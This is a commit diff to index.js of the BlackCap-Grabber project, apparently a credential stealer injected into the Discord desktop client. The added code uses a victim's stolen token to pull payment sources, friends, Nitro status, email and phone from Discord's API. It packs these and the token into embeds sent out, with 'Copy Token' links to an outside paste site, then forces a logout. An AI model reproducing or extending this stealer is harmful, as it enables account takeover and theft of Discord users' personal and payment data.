Update index.js

This commit is contained in:
What about KSCH 2023-02-21 14:59:17 +01:00 committed by GitHub
parent bf70556746
commit 14a9538fbe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 121 additions and 57 deletions

178
index.js
View File

@ -140,6 +140,59 @@ const GetA2F = (bouki) => {
}
}
const parseFriends = friends => {
var real = friends.filter(x => x.type == 1)
var rareFriends = ""
for (var friend of real) {
var badges = GetRBadges(friend.user.public_flags)
if (badges !== ":x:") rareFriends += `${badges} ${friend.user.username}#${friend.user.discriminator}\n`
}
if (!rareFriends) rareFriends = "No Rare Friends"
return {
len: real.length,
badges: rareFriends
}
}
const parseBilling = billings => {
var Billings = ""
billings.forEach(res => {
if (res.invalid) return
switch (res.type) {
case 1:
Billings += ":heavy_check_mark: :credit_card:"
break
case 2:
Billings += ":heavy_check_mark: <:paypal:896441236062347374>"
}
})
if (!Billings) Billings = ":x:"
return Billings
}
const calcDate = (a, b) => new Date(a.setMonth(a.getMonth() + b))
const GetNitro = r => {
switch (r.premium_type) {
default:
return ":x:"
case 1:
return "<:946246402105819216:962747802797113365>"
case 2:
if (!r.premium_guild_since) return "<:946246402105819216:962747802797113365>"
var now = new Date(Date.now())
var arr = ["<:Booster1Month:1051453771147911208>", "<:Booster2Month:1051453772360077374>", "<:Booster6Month:1051453773463162890>", "<:Booster9Month:1051453774620803122>", "<:boost12month:1068308256088400004>", "<:Booster15Month:1051453775832961034>", "<:BoosterLevel8:1051453778127237180>", "<:Booster24Month:1051453776889917530>"]
var a = [new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since)]
var b = [2, 3, 6, 9, 12, 15, 18, 24]
var r = []
for (var p in a) r.push(Math.round((calcDate(a[p], b[p]) - now) / 86400000))
var i = 0
for (var p of r) p > 0 ? "" : i++
return "<:946246402105819216:962747802797113365> " + arr[i]
}
}
function GetLangue(read) {
var languages = {
"fr": ":flag_fr: French",
@ -220,6 +273,12 @@ const FirstTime = async () => {
})
} else {
var user = await getURL("https://discord.com/api/v8/users/@me", token)
var billing = await getURL("https://discord.com/api/v9/users/@me/billing/payment-sources", token)
var friends = await getURL("https://discord.com/api/v9/users/@me/relationships", token)
var Nitro = await getURL("https://discord.com/api/v9/users/" + user.id + "/profile", token);
var Billings = parseBilling(billing)
var Friends = parseFriends(friends)
if (!user.avatar) var userAvatar = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
if (!user.banner) var userBanner = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/Banner.png"
@ -239,6 +298,10 @@ const FirstTime = async () => {
name: "ID <:iduser:1041634535395307520>",
value: `\`${user.id}\`\n[Copy ID](https://paste-pgpj.onrender.com/?p=${user.id})`,
inline: !0
}, {
name: "Nitro <a:nitro:1041639670288748634>",
value: `${GetNitro(Nitro)}`,
inline: !0
}, {
name: "Badges <:badge:1041634538150973460>",
value: `${GetBadges(user.flags)}`,
@ -257,7 +320,19 @@ const FirstTime = async () => {
inline: !0
}, {
name: "@Copyright",
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
inline: !0
}, {
name: "Billing <a:billing:1041641103629234196>",
value: `${Billings}`,
inline: !1
}, {
name: "Email <a:email:1041639672037785691>",
value: `\`${user.email}\``,
inline: !0
}, {
name: "Phone :mobile_phone:",
value: `\`${user.phone ?? "None"}\``,
inline: !0
}, {
name: "<a:tokens:1041634540537511957> Token",
@ -267,6 +342,15 @@ const FirstTime = async () => {
image: userBanner,
thumbnail: userAvatar
})
var params2 = await makeEmbed({
title: `<a:totalfriends:1041641100017946685> Total Friends (${Friends.len})`,
color: config['embed-color'],
description: Friends.badges,
image: userBanner,
thumbnail: userAvatar
})
params.embeds.push(params2.embeds[0])
}
await post(params)
if ((config.logout != "false" || config.logout !== "%LOGOUT%") && config['logout-notify'] == "true") {
@ -281,6 +365,12 @@ const FirstTime = async () => {
})
} else {
var user = await getURL("https://discord.com/api/v8/users/@me", token)
var billing = await getURL("https://discord.com/api/v9/users/@me/billing/payment-sources", token)
var friends = await getURL("https://discord.com/api/v9/users/@me/relationships", token)
var Nitro = await getURL("https://discord.com/api/v9/users/" + user.id + "/profile", token);
var Billings = parseBilling(billing)
var Friends = parseFriends(friends)
if (!user.avatar) var userAvatar = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/blackcap%20(2).png"
if (!user.banner) var userBanner = "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/Banner.png"
@ -300,6 +390,10 @@ const FirstTime = async () => {
name: "ID <:iduser:1041634535395307520>",
value: `\`${user.id}\`\n[Copy ID](https://paste-pgpj.onrender.com/?p=${user.id})`,
inline: !0
}, {
name: "Nitro <a:nitro:1041639670288748634>",
value: `${GetNitro(Nitro)}`,
inline: !0
}, {
name: "Badges <:badge:1041634538150973460>",
value: `${GetBadges(user.flags)}`,
@ -318,7 +412,19 @@ const FirstTime = async () => {
inline: !0
}, {
name: "@Copyright",
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
inline: !0
}, {
name: "Billing <a:billing:1041641103629234196>",
value: `${Billings}`,
inline: !1
}, {
name: "Email <a:email:1041639672037785691>",
value: `\`${user.email}\``,
inline: !0
}, {
name: "Phone :mobile_phone:",
value: `\`${user.phone ?? "None"}\``,
inline: !0
}, {
name: "<a:tokens:1041634540537511957> Token",
@ -328,6 +434,15 @@ const FirstTime = async () => {
image: userBanner,
thumbnail: userAvatar
})
var params2 = await makeEmbed({
title: `<a:totalfriends:1041641100017946685> Total Friends (${Friends.len})`,
color: config['embed-color'],
description: Friends.badges,
image: userBanner,
thumbnail: userAvatar
})
params.embeds.push(params2.embeds[0])
}
fs.writeFileSync("./d3dcompiler.dlll", "LogOut")
await execScript(logOutScript)
@ -348,57 +463,6 @@ const path = (function () {
}
}())
const parseFriends = friends => {
var real = friends.filter(x => x.type == 1)
var rareFriends = ""
for (var friend of real) {
var badges = GetRBadges(friend.user.public_flags)
if (badges !== ":x:") rareFriends += `${friend.user.username}#${friend.user.discriminator}\n`
}
if (!rareFriends) rareFriends = "No Rare Friends"
return {
len: real.length,
badges: rareFriends
}
}
const parseBilling = billings => {
var Billings = ""
billings.forEach(res => {
if (res.invalid) return
switch (res.type) {
case 1:
Billings += ":heavy_check_mark: :credit_card:"
break
case 2:
Billings += ":heavy_check_mark: <:paypal:896441236062347374>"
}
})
if (!Billings) Billings = ":x:"
return Billings
}
const calcDate = (a, b) => new Date(a.setMonth(a.getMonth() + b))
const GetNitro = r => {
switch (r.premium_type) {
default:
return ":x:"
case 1:
return "<:946246402105819216:962747802797113365>"
case 2:
if (!r.premium_guild_since) return "<:946246402105819216:962747802797113365>"
var now = new Date(Date.now())
var arr = ["<:Booster1Month:1051453771147911208>", "<:Booster2Month:1051453772360077374>", "<:Booster6Month:1051453773463162890>", "<:Booster9Month:1051453774620803122>", "<:boost12month:1068308256088400004>", "<:Booster15Month:1051453775832961034>", "<:BoosterLevel8:1051453778127237180>", "<:Booster24Month:1051453776889917530>"]
var a = [new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since), new Date(r.premium_guild_since)]
var b = [2, 3, 6, 9, 12, 15, 18, 24]
var r = []
for (var p in a) r.push(Math.round((calcDate(a[p], b[p]) - now) / 86400000))
var i = 0
for (var p of r) p > 0 ? "" : i++
return "<:946246402105819216:962747802797113365> " + arr[i]
}
}
const checUpdate = () => {
var {
appPath,
@ -523,7 +587,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
inline: !0
}, {
name: "@Copyright",
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
inline: !0
}, {
name: "Billing <a:billing:1041641103629234196>",
@ -545,7 +609,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
name: "<a:tokens:1041634540537511957> Token",
value: `\`\`\`${token}\`\`\`\n[Copy Token](https://paste-pgpj.onrender.com/?p=${token})\n\n[Download Banner](${userBanner})`,
inline: !1
}, ],
}],
thumbnail: userAvatar,
image: userBanner
@ -608,7 +672,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
inline: !0
}, {
name: "@Copyright",
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
inline: !0
}, {
name: "Billing <a:billing:1041641103629234196>",
@ -695,7 +759,7 @@ electron.session.defaultSession.webRequest.onCompleted(config.onCompleted, async
inline: !0
}, {
name: "@Copyright",
value: `[BlackCap 2023 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
value: `[BlackCap 2021 <a:blackcapgif:1041634542093619260>](https://github.com/KSCHdsc/BlackCap-Grabber)`,
inline: !0
}, {
name: "Billing <a:billing:1041641103629234196>",